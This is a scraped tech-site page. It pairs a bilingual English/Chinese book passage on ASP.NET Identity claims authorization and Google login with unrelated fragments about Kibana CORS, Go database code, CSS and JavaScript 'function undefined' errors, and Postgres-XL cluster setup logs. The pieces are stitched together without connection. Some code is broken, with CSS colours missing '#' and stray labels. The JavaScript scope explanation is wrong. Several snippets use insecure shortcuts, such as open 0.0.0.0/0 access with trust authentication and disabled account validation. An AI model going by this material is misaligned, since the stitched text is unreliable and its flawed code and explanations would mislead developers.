AuthorizeCore(HttpContextBase context) {return context.User.Identity.IsAuthenticated&& context.User.Identity is ClaimsIdentity&& ((ClaimsIdentity)context.User.Identity).HasClaim(x =>x.Issuer == Issuer && x.Type == ClaimType && x.Value == Value);} }} The attribute I have defined is derived from the AuthorizeAttribute class, which makes it easy to create custom authorization policies in MVC framework applications by overriding the AuthorizeCore method. My implementation grants access if the user is authenticated, the IIdentity implementation is an instance of ClaimsIdentity, and the user has a claim with the issuer, type, and value matching the class properties. Listing 15-21 shows how I applied the attribute to the Claims controller to authorize access to the OtherAction method based on one of the location claims created by the LocationClaimsProvider class. 我所定义的这个注解属性派生于AuthorizeAttribute类,通过重写AuthorizeCore方法,很容易在MVC框架应用程序中创建自定义的授权策略。在这个实现中,若用户是已认证的、其IIdentity实现是一个ClaimsIdentity实例,而且该用户有一个带有issuer、type以及value的声明(Claim),它们与这个类的属性是匹配的,则该用户便是允许访问的。清单15-21显示了如何将这个注解属性运用于Claims控制器,以便根据LocationClaimsProvider类创建的地点声明(Claim),对OtherAction方法进行授权访问。 Listing 15-21. Performing Authorization on Claims in the ClaimsController.cs File 清单15-21. 在ClaimsController.cs文件中执行基于声明的授权 using System.Security.Claims;using System.Web;using System.Web.Mvc;using Users.Infrastructure;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [ClaimsAccess(Issuer="RemoteClaims", ClaimType=ClaimTypes.PostalCode,Value="DC 20500")]public string OtherAction() {return "This is the protected action";} }} My authorization filter ensures that only users whose location claims specify a ZIP code of DC 20500 can invoke the OtherAction method. 这个授权过滤器能够确保只有地点声明(Claim)的邮编为DC 20500的用户才能请求OtherAction方法。 15.4 Using Third-Party Authentication 15.4 使用第三方认证 One of the benefits of a claims-based system such as ASP.NET Identity is that any of the claims can come from an external system, even those that identify the user to the application. This means that other systems can authenticate users on behalf of the application, and ASP.NET Identity builds on this idea to make it simple and easy to add support for authenticating users through third parties such as Microsoft, Google, Facebook, and Twitter. 基于声明的系统,如ASP.NET Identity,的好处之一是任何声明都可以来自于外部系统,即使是将用户标识到应用程序的那些声明。这意味着其他系统可以代表应用程序来认证用户,而ASP.NET Identity就建立在这样的思想之上,使之能够简单而方便地添加第三方认证用户的支持,如微软、Google、Facebook、Twitter等。 There are some substantial benefits of using third-party authentication: Many users will already have an account, users can elect to use two-factor authentication, and you don’t have to manage user credentials in the application. In the sections that follow, I’ll show you how to set up and use third-party authentication for Google users, which Table 15-8 puts into context. 使用第三方认证有一些实际的好处:许多用户已经有了账号、用户可以选择使用双因子认证、你不必在应用程序中管理用户凭据等等。在以下小节中,我将演示如何为Google用户建立并使用第三方认证,表15-8描述了事情的情形。 Table 15-8. Putting Third-Party Authentication in Context 表15-8. 第三方认证情形 Question 问题 Answer 回答 What is it? 什么是第三方认证? Authenticating with third parties lets you take advantage of the popularity of companies such as Google and Facebook. 第三方认证使你能够利用流行公司,如Google和Facebook,的优势。 Why should I care? 为何要关心它? Users don’t like having to remember passwords for many different sites. Using a provider with large-scale adoption can make your application more appealing to users of the provider’s services. 用户不喜欢记住许多不同网站的口令。使用大范围适应的提供器可使你的应用程序更吸引有提供器服务的用户。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework. 这不是一个直接由MVC框架使用的特性。 Note The reason I have chosen to demonstrate Google authentication is that it is the only option that doesn’t require me to register my application with the authentication service. You can get details of the registration processes required at http://bit.ly/1cqLTrE. 提示:我选择演示Google认证的原因是,它是唯一不需要在其认证服务中注册我应用程序的公司。有关认证服务注册过程的细节,请参阅http://bit.ly/1cqLTrE。 15.4.1 Enabling Google Authentication 15.4.1 启用Google认证 ASP.NET Identity comes with built-in support for authenticating users through their Microsoft, Google, Facebook, and Twitter accounts as well more general support for any authentication service that supports OAuth. The first step is to add the NuGet package that includes the Google-specific additions for ASP.NET Identity. Enter the following command into the Package Manager Console: ASP.NET Identity带有通过Microsoft、Google、Facebook以及Twitter账号认证用户的内建支持,并且对于支持OAuth的认证服务具有更普遍的支持。第一个步骤是添加NuGet包,包中含有用于ASP.NET Identity的Google专用附件。请在“Package Manager Console(包管理器控制台)”中输入以下命令: Install-Package Microsoft.Owin.Security.Google -version 2.0.2 There are NuGet packages for each of the services that ASP.NET Identity supports, as described in Table 15-9. 对于ASP.NET Identity支持的每一种服务都有相应的NuGet包,如表15-9所示。 Table 15-9. The NuGet Authenticaton Packages 表15-9. NuGet认证包 Name 名称 Description 描述 Microsoft.Owin.Security.Google Authenticates users with Google accounts 用Google账号认证用户 Microsoft.Owin.Security.Facebook Authenticates users with Facebook accounts 用Facebook账号认证用户 Microsoft.Owin.Security.Twitter Authenticates users with Twitter accounts 用Twitter账号认证用户 Microsoft.Owin.Security.MicrosoftAccount Authenticates users with Microsoft accounts 用Microsoft账号认证用户 Microsoft.Owin.Security.OAuth Authenticates users against any OAuth 2.0 service 根据任一OAuth 2.0服务认证用户 Once the package is installed, I enable support for the authentication service in the OWIN startup class, which is defined in the App_Start/IdentityConfig.cs file in the example project. Listing 15-22 shows the change that I have made. 一旦安装了这个包,便可以在OWIN启动类中启用此项认证服务的支持,启动类的定义在示例项目的App_Start/IdentityConfig.cs文件中。清单15-22显示了所做的修改。 Listing 15-22. Enabling Google Authentication in the IdentityConfig.cs File 清单15-22. 在IdentityConfig.cs文件中启用Google认证 using Microsoft.AspNet.Identity;using Microsoft.Owin;using Microsoft.Owin.Security.Cookies;using Owin;using Users.Infrastructure;using Microsoft.Owin.Security.Google;namespace Users {public class IdentityConfig {public void Configuration(IAppBuilder app) {app.CreatePerOwinContext<AppIdentityDbContext>(AppIdentityDbContext.Create);app.CreatePerOwinContext<AppUserManager>(AppUserManager.Create);app.CreatePerOwinContext<AppRoleManager>(AppRoleManager.Create); app.UseCookieAuthentication(new CookieAuthenticationOptions {AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,LoginPath = new PathString("/Account/Login"),}); app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);app.UseGoogleAuthentication();} }} Each of the packages that I listed in Table 15-9 contains an extension method that enables the corresponding service. The extension method for the Google service is called UseGoogleAuthentication, and it is called on the IAppBuilder implementation that is passed to the Configuration method. 表15-9所列的每个包都含有启用相应服务的扩展方法。用于Google服务的扩展方法名称为UseGoogleAuthentication,它通过传递给Configuration方法的IAppBuilder实现进行调用。 Next I added a button to the Views/Account/Login.cshtml file, which allows users to log in via Google. You can see the change in Listing 15-23. 下一步骤是在Views/Account/Login.cshtml文件中添加一个按钮,让用户能够通过Google进行登录。所做的修改如清单15-23所示。 Listing 15-23. Adding a Google Login Button to the Login.cshtml File 清单15-23. 在Login.cshtml文件中添加Google登录按钮 @model Users.Models.LoginModel@{ ViewBag.Title = "Login";}<h2>Log In</h2> @Html.ValidationSummary()@using (Html.BeginForm()) {@Html.AntiForgeryToken();<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><div class="form-group"><label>Name</label>@Html.TextBoxFor(x => x.Name, new { @class = "form-control" })</div><div class="form-group"><label>Password</label>@Html.PasswordFor(x => x.Password, new { @class = "form-control" })</div><button class="btn btn-primary" type="submit">Log In</button>}@using (Html.BeginForm("GoogleLogin", "Account")) {<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><button class="btn btn-primary" type="submit">Log In via Google</button>} The new button submits a form that targets the GoogleLogin action on the Account controller. You can see this method—and the other changes I made the controller—in Listing 15-24. 新按钮递交一个表单,目标是Account控制器中的GoogleLogin动作。可从清单15-24中看到该方法,以及在控制器中所做的其他修改。 Listing 15-24. Adding Support for Google Authentication to the AccountController.cs File 清单15-24. 在AccountController.cs文件中添加Google认证支持 using System.Threading.Tasks;using System.Web.Mvc;using Users.Models;using Microsoft.Owin.Security;using System.Security.Claims;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Infrastructure;using System.Web; namespace Users.Controllers {[Authorize]public class AccountController : Controller {[AllowAnonymous]public ActionResult Login(string returnUrl) {if (HttpContext.User.Identity.IsAuthenticated) {return View("Error", new string[] { "Access Denied" });}ViewBag.returnUrl = returnUrl;return View();}[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident)); AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);} [HttpPost][AllowAnonymous]public ActionResult GoogleLogin(string returnUrl) {var properties = new AuthenticationProperties {RedirectUri = Url.Action("GoogleLoginCallback",new { returnUrl = returnUrl})};HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();}[AllowAnonymous]public async Task<ActionResult> GoogleLoginCallback(string returnUrl) {ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();AppUser user = await UserManager.FindAsync(loginInfo.Login);if (user == null) {user = new AppUser {Email = loginInfo.Email,UserName = loginInfo.DefaultUserName,City = Cities.LONDON, Country = Countries.UK};IdentityResult result = await UserManager.CreateAsync(user);if (!result.Succeeded) {return View("Error", result.Errors);} else {result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);if (!result.Succeeded) {return View("Error", result.Errors);} }}ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false }, ident);return Redirect(returnUrl ?? "/");}[Authorize]public ActionResult Logout() {AuthManager.SignOut();return RedirectToAction("Index", "Home");}private IAuthenticationManager AuthManager {get {return HttpContext.GetOwinContext().Authentication;} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } The GoogleLogin method creates an instance of the AuthenticationProperties class and sets the RedirectUri property to a URL that targets the GoogleLoginCallback action in the same controller. The next part is a magic phrase that causes ASP.NET Identity to respond to an unauthorized error by redirecting the user to the Google authentication page, rather than the one defined by the application: GoogleLogin方法创建了AuthenticationProperties类的一个实例,并为RedirectUri属性设置了一个URL,其目标为同一控制器中的GoogleLoginCallback动作。下一个部分是一个神奇阶段,通过将用户重定向到Google认证页面,而不是应用程序所定义的认证页面,让ASP.NET Identity对未授权的错误进行响应: ...HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();... This means that when the user clicks the Log In via Google button, their browser is redirected to the Google authentication service and then redirected back to the GoogleLoginCallback action method once they are authenticated. 这意味着,当用户通过点击Google按钮进行登录时,浏览器被重定向到Google的认证服务,一旦在那里认证之后,便被重定向回GoogleLoginCallback动作方法。 I get details of the external login by calling the GetExternalLoginInfoAsync of the IAuthenticationManager implementation, like this: 我通过调用IAuthenticationManager实现的GetExternalLoginInfoAsync方法,我获得了外部登录的细节,如下所示: ...ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();... The ExternalLoginInfo class defines the properties shown in Table 15-10. ExternalLoginInfo类定义的属性如表15-10所示: Table 15-10. The Properties Defined by the ExternalLoginInfo Class 表15-10. ExternalLoginInfo类所定义的属性 Name 名称 Description 描述 DefaultUserName Returns the username 返回用户名 Email Returns the e-mail address 返回E-mail地址 ExternalIdentity Returns a ClaimsIdentity that identities the user 返回标识该用户的ClaimsIdentity Login Returns a UserLoginInfo that describes the external login 返回描述外部登录的UserLoginInfo I use the FindAsync method defined by the user manager class to locate the user based on the value of the ExternalLoginInfo.Login property, which returns an AppUser object if the user has been authenticated with the application before: 我使用了由用户管理器类所定义的FindAsync方法,以便根据ExternalLoginInfo.Login属性的值对用户进行定位,如果用户之前在应用程序中已经认证,该属性会返回一个AppUser对象: ...AppUser user = await UserManager.FindAsync(loginInfo.Login);... If the FindAsync method doesn’t return an AppUser object, then I know that this is the first time that this user has logged into the application, so I create a new AppUser object, populate it with values, and save it to the database. I also save details of how the user logged in so that I can find them next time: 如果FindAsync方法返回的不是AppUser对象,那么我便知道这是用户首次登录应用程序,于是便创建了一个新的AppUser对象,填充该对象的值,并将其保存到数据库。我还保存了用户如何登录的细节,以便下次能够找到他们: ...result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);... All that remains is to generate an identity the user, copy the claims provided by Google, and create an authentication cookie so that the application knows the user has been authenticated: 剩下的事情只是生成该用户的标识了,拷贝Google提供的声明(Claims),并创建一个认证Cookie,以使应用程序知道此用户已认证: ...ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties { IsPersistent = false }, ident);... 15.4.2 Testing Google Authentication 15.4.2 测试Google认证 There is one further change that I need to make before I can test Google authentication: I need to change the account verification I set up in Chapter 13 because it prevents accounts from being created with e-mail addresses that are not within the example.com domain. Listing 15-25 shows how I removed the verification from the AppUserManager class. 在测试Google认证之前还需要一处修改:需要修改第13章所建立的账号验证,因为它不允许example.com域之外的E-mail地址创建账号。清单15-25显示了如何在AppUserManager类中删除这种验证。 Listing 15-25. Disabling Account Validation in the AppUserManager.cs File 清单15-25. 在AppUserManager.cs文件中取消账号验证 using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Microsoft.AspNet.Identity.Owin;using Microsoft.Owin;using Users.Models; namespace Users.Infrastructure {public class AppUserManager : UserManager<AppUser> {public AppUserManager(IUserStore<AppUser> store): base(store) {}public static AppUserManager Create(IdentityFactoryOptions<AppUserManager> options,IOwinContext context) {AppIdentityDbContext db = context.Get<AppIdentityDbContext>();AppUserManager manager = new AppUserManager(new UserStore<AppUser>(db)); manager.PasswordValidator = new CustomPasswordValidator {RequiredLength = 6,RequireNonLetterOrDigit = false,RequireDigit = false,RequireLowercase = true,RequireUppercase = true}; //manager.UserValidator = new CustomUserValidator(manager) {// AllowOnlyAlphanumericUserNames = true,// RequireUniqueEmail = true//};return manager;} }} Tip you can use validation for externally authenticated accounts, but I am just going to disable the feature for simplicity. 提示:也可以使用外部已认证账号的验证,但这里出于简化,取消了这一特性。 To test authentication, start the application, click the Log In via Google button, and provide the credentials for a valid Google account. When you have completed the authentication process, your browser will be redirected back to the application. If you navigate to the /Claims/Index URL, you will be able to see how claims from the Google system have been added to the user’s identity, as shown in Figure 15-7. 为了测试认证,启动应用程序,通过点击“Log In via Google(通过Google登录)”按钮,并提供有效的Google账号凭据。当你完成了认证过程时,浏览器将被重定向回应用程序。如果导航到/Claims/Index URL,便能够看到来自Google系统的声明(Claims),已被添加到用户的标识中了,如图15-7所示。 Figure 15-7. Claims from Google 图15-7. 来自Google的声明(Claims) 15.5 Summary 15.5 小结 In this chapter, I showed you some of the advanced features that ASP.NET Identity supports. I demonstrated the use of custom user properties and how to use database migrations to preserve data when you upgrade the schema to support them. I explained how claims work and how they can be used to create more flexible ways of authorizing users. I finished the chapter by showing you how to authenticate users via Google, which builds on the ideas behind the use of claims. 本章向你演示了ASP.NET Identity所支持的一些高级特性。演示了自定义用户属性的使用,还演示了在升级数据架构时,如何使用数据库迁移保护数据。我解释了声明(Claims)的工作机制,以及如何将它们用于创建更灵活的用户授权方式。最后演示了如何通过Google进行认证结束了本章,这是建立在使用声明(Claims)的思想基础之上的。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gz19871113/article/details/108591802。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
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转载
Kibana
...)) .catch(error => console.error('Error:', error)); 在这个例子中,由于我们的Elasticsearch已经正确设置了CORS策略,所以前端可以顺利地向Kibana API发起请求并获取数据。 5. 结语 CORS问题虽小,但对于构建基于Kibana的应用而言却至关重要。只要我们把原理摸得透透的,再给它来个恰到好处的设置调教,就能确保跨域请求一路绿灯,这样一来,前后端就能像好兄弟一样无缝配合,高效协作啦!在整个操作过程中,咱得时刻把安全性和用户体验这两头儿捏在手心里,找到那个微妙的平衡点,这样子才能让Kibana这个数据分析工具,彻底爆发它的洪荒之力,展现出真正的强大功能。在探索和实践的过程中,希望这篇文章能成为你解决问题的得力助手,一起携手打造更好的数据分析体验!
2023-01-27 19:17:41
462
翡翠梦境
Golang
...panic(err.Error()) } defer db.Close() // 执行一个简单的查询 rows, err := db.Query("SELECT id, name FROM users") if err != nil { panic(err.Error()) } defer rows.Close() for rows.Next() { var id int var name string err = rows.Scan(&id, &name) if err != nil { panic(err.Error()) } fmt.Println(id, name) } } 2.2 使用ORM工具:Gorm 对于更复杂的项目,使用ORM工具如Gorm可以极大地简化数据库操作。Gorm就像是给数据库操作加了个“翻译”,让我们可以用更贴近日常说话的方式来摆弄数据库里的数据,感觉就像是在玩弄对象一样轻松。下面是如何使用Gorm的一个简单示例: go package main import ( "gorm.io/driver/mysql" "gorm.io/gorm" "log" ) type User struct { ID uint Name string } func main() { dsn := "user:password@tcp(127.0.0.1:3306)/dbname?charset=utf8mb4&parseTime=True&loc=Local" db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) if err != nil { log.Fatal(err) } // 创建用户 newUser := User{Name: "John Doe"} db.Create(&newUser) // 查询用户 var user User db.First(&user, newUser.ID) log.Printf("Found user: %s\n", user.Name) } 3. 性能优化技巧 在实际开发中,除了基础的数据库操作外,我们还需要考虑如何进一步优化性能。这里有几个建议: - 索引:确保你的数据库表上有适当的索引,特别是对于那些频繁查询的字段。 - 缓存:利用缓存机制(如Redis)来存储常用的数据结果,可以显著减少数据库的负载。 - 批量操作:尽量减少与数据库的交互次数,比如批量插入或更新数据。 - 异步处理:对于耗时的操作,可以考虑使用异步处理方式,避免阻塞主线程。 4. 结语 通过以上的内容,我们大致了解了如何使用Go语言进行高性能的数据库访问和操作。当然,这只是冰山一角,真正的高手之路还很长。希望能给你带来点儿灵感,让你在Go语言的路上越走越远,越走越顺!记住,编程是一场马拉松,不是短跑,保持耐心,不断学习和尝试新的东西吧! --- 希望这篇文章能帮助你更好地理解和应用Golang在数据库访问方面的最佳实践。如果你有任何问题或想法,欢迎随时交流讨论!
2024-10-21 15:42:48
78
百转千回
CSS
...L结构如下: php-template 这是一个标题 这是一段文字。 我们可以使用CSS来设置这个标题的字体大小和颜色,以及这段文字的行高和颜色。下面是相应的CSS代码: css .container { background-color: f0f0f0; } .title { font-size: 2em; color: 333; } .para { line-height: 1.5; color: 666; } 这样,我们就成功地设置了容器的背景色,标题的字体大小和颜色,以及段落的行高和颜色。这就是CSS的基本用法,也是我们在后续讨论中需要用到的基础知识。 第3章 JS函数未定义的原因 回到我们一开始提出的问题,“js函数未定义是怎么回事?”这个问题实际上是在问:“为什么我在某个地方使用了一个函数,但是却出现了函数未定义的错误?”这个问题的答案可能有很多,下面我们一一来看一下。 第一个可能的原因是,我们确实没有定义这个函数。比如说,我们有一个名为helloWorld的函数,但是在其他地方却忘记定义它了。这种情况简直是最直截了当的啦,解决起来也超级简单,你只需要在需要用到这个函数的地方给它加上一个定义就OK啦,就像给菜加点盐那么简单。 javascript function helloWorld() { console.log("Hello, world!"); } helloWorld(); // 输出 "Hello, world!" 第二个可能的原因是,我们虽然定义了这个函数,但是在使用的时候却拼错了函数名或者写错了参数。这种情况也比较多见,特别是在大型项目中,很容易出现这种错误。 javascript function helloWorld() { console.log("Hello, world!"); } helloWord(); // 报错,因为函数名拼错了 第三个可能的原因是,我们使用的函数在一个作用域内是可以访问的,但是在另一个作用域内却不可以访问。这种情况比较复杂,需要我们深入理解作用域的概念才能解决。 javascript let x = 1; if (true) { function foo() { console.log(x); // 输出 1 } } else { function foo() { console.log(x); // 报错,因为x在else的作用域内不可访问 } } foo(); // 报错,因为foo在if的作用域外不可访问 以上就是“js函数未定义是怎么回事”的一些可能原因,我们在日常开发中需要根据具体的情况进行分析和处理。 第4章 如何避免“js函数未定义”的问题? 避免“js函数未定义”的问题,其实有很多方法。下面我们就来介绍一些常用的技巧。 首先是要注意命名规范。当我们在创建函数的时候,可别忘了给它起个既规范又有意思的名字。就像咱们常说的“驼峰式命名法”,就是一种挺实用的命名规则,你可以把函数名想象成一只可爱的小骆驼,每个单词首字母都像驼峰一样高高地耸起来,这样一来,不仅看起来顺眼,读起来也朗朗上口,更容易让人记住。这样可以让我们的代码更加清晰易懂,也可以减少出错的可能性。 其次是要注意作用域的限制。在JavaScript这个编程语言里,每个函数都拥有自己的独立小天地,也就是作用域。这就意味着,当我们呼唤一个函数来干活的时候,得留个心眼儿,千万要注意别跨出这个小天地去调用还没被定义过的函数,否则就可能闹出“函数未定义”的乌龙事件。 最后是要注意版本兼容性。假如我们正在玩转一些最新的JavaScript黑科技,但心里也得惦记着那些还在用老旧浏览器的用户群体。这就意味着,咱们还得琢磨琢磨怎么在这些老爷爷级别的浏览器上,找到能兼容这些新特性的备选方案,让它们也能顺畅运行起来。这就意味着咱们得摸清楚各个浏览器的不同版本之间是怎么个兼容法,还有学会如何运用各种小工具和技巧来对付这些可能出现的兼容性问题。 总之,“js函数未定义”的问题是一个比较常见的问题,但是只要我们注意一些基本的原则和技巧,就能够有效地避免这个问题。希望本文能够对你有所帮助,如果你还有其他的问题,欢迎随时联系我。
2023-08-12 12:30:02
429
岁月静好_t
转载文章
..._ctl_bash.ERROR: File "/home/postgres/pgxl/pgxc_ctl/pgxc_ctl.conf" not found or not a regular file. No such file or directoryInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxl/pgxc_ctl --configuration /home/postgres/pgxl/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxl/pgxc_ctl 配置pgxc_ctl.conf 新建/home/postgres/pgxc_ctl/pgxc_ctl.conf文件,编辑如下: 对着模板文件一个一个修改,否则会造成初始化过程出现各种神奇问题。 pgxcInstallDir=$PGHOMEpgxlDATA=$PGHOME/data pgxcOwner=postgres---- GTM Master -----------------------------------------gtmName=gtmgtmMasterServer=gtmgtmMasterPort=6666gtmMasterDir=$pgxlDATA/nodes/gtmgtmSlave=y Specify y if you configure GTM Slave. Otherwise, GTM slave will not be configured and all the following variables will be reset.gtmSlaveName=gtmSlavegtmSlaveServer=gtm value none means GTM slave is not available. Give none if you don't configure GTM Slave.gtmSlavePort=20001 Not used if you don't configure GTM slave.gtmSlaveDir=$pgxlDATA/nodes/gtmSlave Not used if you don't configure GTM slave.---- GTM-Proxy Master -------gtmProxyDir=$pgxlDATA/nodes/gtm_proxygtmProxy=y gtmProxyNames=(gtm_pxy1 gtm_pxy2) gtmProxyServers=(xl1 xl2) gtmProxyPorts=(6666 6666) gtmProxyDirs=($gtmProxyDir $gtmProxyDir) ---- Coordinators ---------coordMasterDir=$pgxlDATA/nodes/coordcoordNames=(coord1 coord2) coordPorts=(5432 5432) poolerPorts=(6667 6667) coordPgHbaEntries=(0.0.0.0/0)coordMasterServers=(xl1 xl2) coordMasterDirs=($coordMasterDir $coordMasterDir)coordMaxWALsernder=0 没设置备份节点,设置为0coordMaxWALSenders=($coordMaxWALsernder $coordMaxWALsernder) 数量保持和coordMasterServers一致coordSlave=n---- Datanodes ----------datanodeMasterDir=$pgxlDATA/nodes/dn_masterprimaryDatanode=xl1 主数据节点datanodeNames=(node1 node2)datanodePorts=(5433 5433) datanodePoolerPorts=(6668 6668) datanodePgHbaEntries=(0.0.0.0/0)datanodeMasterServers=(xl1 xl2)datanodeMasterDirs=($datanodeMasterDir $datanodeMasterDir)datanodeMaxWalSender=4datanodeMaxWALSenders=($datanodeMaxWalSender $datanodeMaxWalSender) 集群初始化,启动,停止 初始化 pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all 输出结果: /bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlStopping all the coordinator masters.Stopping coordinator master coord1.Stopping coordinator master coord2.pg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord1" does not existpg_ctl: directory "/home/postgres/pgxc/nodes/coord/coord2" does not existDone.Stopping all the datanode masters.Stopping datanode master datanode1.Stopping datanode master datanode2.pg_ctl: PID file "/home/postgres/pgxc/nodes/datanode/datanode1/postmaster.pid" does not existIs server running?Done.Stop GTM masterwaiting for server to shut down.... doneserver stopped[postgres@gtm ~]$ echo $PGHOME/home/postgres/pgxl[postgres@gtm ~]$ ll /home/postgres/pgxl/pgxc/nodes/gtm/gtm.^C[postgres@gtm ~]$ pgxc_ctl -c /home/postgres/pgxc_ctl/pgxc_ctl.conf init all/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.conf/home/postgres/pgxc_ctl/pgxc_ctl.conf: line 189: $coordExtraConfig: ambiguous redirectFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlInitialize GTM masterERROR: target directory (/home/postgres/pgxc/nodes/gtm) exists and not empty. Skip GTM initilializationDone.Start GTM masterserver startingInitialize all the coordinator masters.Initialize coordinator master coord1.ERROR: target coordinator master coord1 is running now. Skip initilialization.Initialize coordinator master coord2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/coord/coord2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting coordinator master.Starting coordinator master coord1ERROR: target coordinator master coord1 is already running now. Skip initialization.Starting coordinator master coord22019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv4 address "0.0.0.0", port 54322019-05-30 21:09:25.562 EDT [2148] LOG: listening on IPv6 address "::", port 54322019-05-30 21:09:25.563 EDT [2148] LOG: listening on Unix socket "/tmp/.s.PGSQL.5432"2019-05-30 21:09:25.601 EDT [2149] LOG: database system was shut down at 2019-05-30 21:09:22 EDT2019-05-30 21:09:25.605 EDT [2148] LOG: database system is ready to accept connections2019-05-30 21:09:25.612 EDT [2156] LOG: cluster monitor startedDone.Initialize all the datanode masters.Initialize the datanode master datanode1.Initialize the datanode master datanode2.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode1 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.The files belonging to this database system will be owned by user "postgres".This user must also own the server process.The database cluster will be initialized with locale "en_US.UTF-8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".Data page checksums are disabled.fixing permissions on existing directory /home/postgres/pgxc/nodes/datanode/datanode2 ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okrunning bootstrap script ... okperforming post-bootstrap initialization ... creating cluster information ... oksyncing data to disk ... okfreezing database template0 ... okfreezing database template1 ... okfreezing database postgres ... okWARNING: enabling "trust" authentication for local connectionsYou can change this by editing pg_hba.conf or using the option -A, or--auth-local and --auth-host, the next time you run initdb.Success.Done.Starting all the datanode masters.Starting datanode master datanode1.WARNING: datanode master datanode1 is running now. Skipping.Starting datanode master datanode2.2019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv4 address "0.0.0.0", port 154322019-05-30 21:09:33.352 EDT [2404] LOG: listening on IPv6 address "::", port 154322019-05-30 21:09:33.355 EDT [2404] LOG: listening on Unix socket "/tmp/.s.PGSQL.15432"2019-05-30 21:09:33.392 EDT [2404] LOG: redirecting log output to logging collector 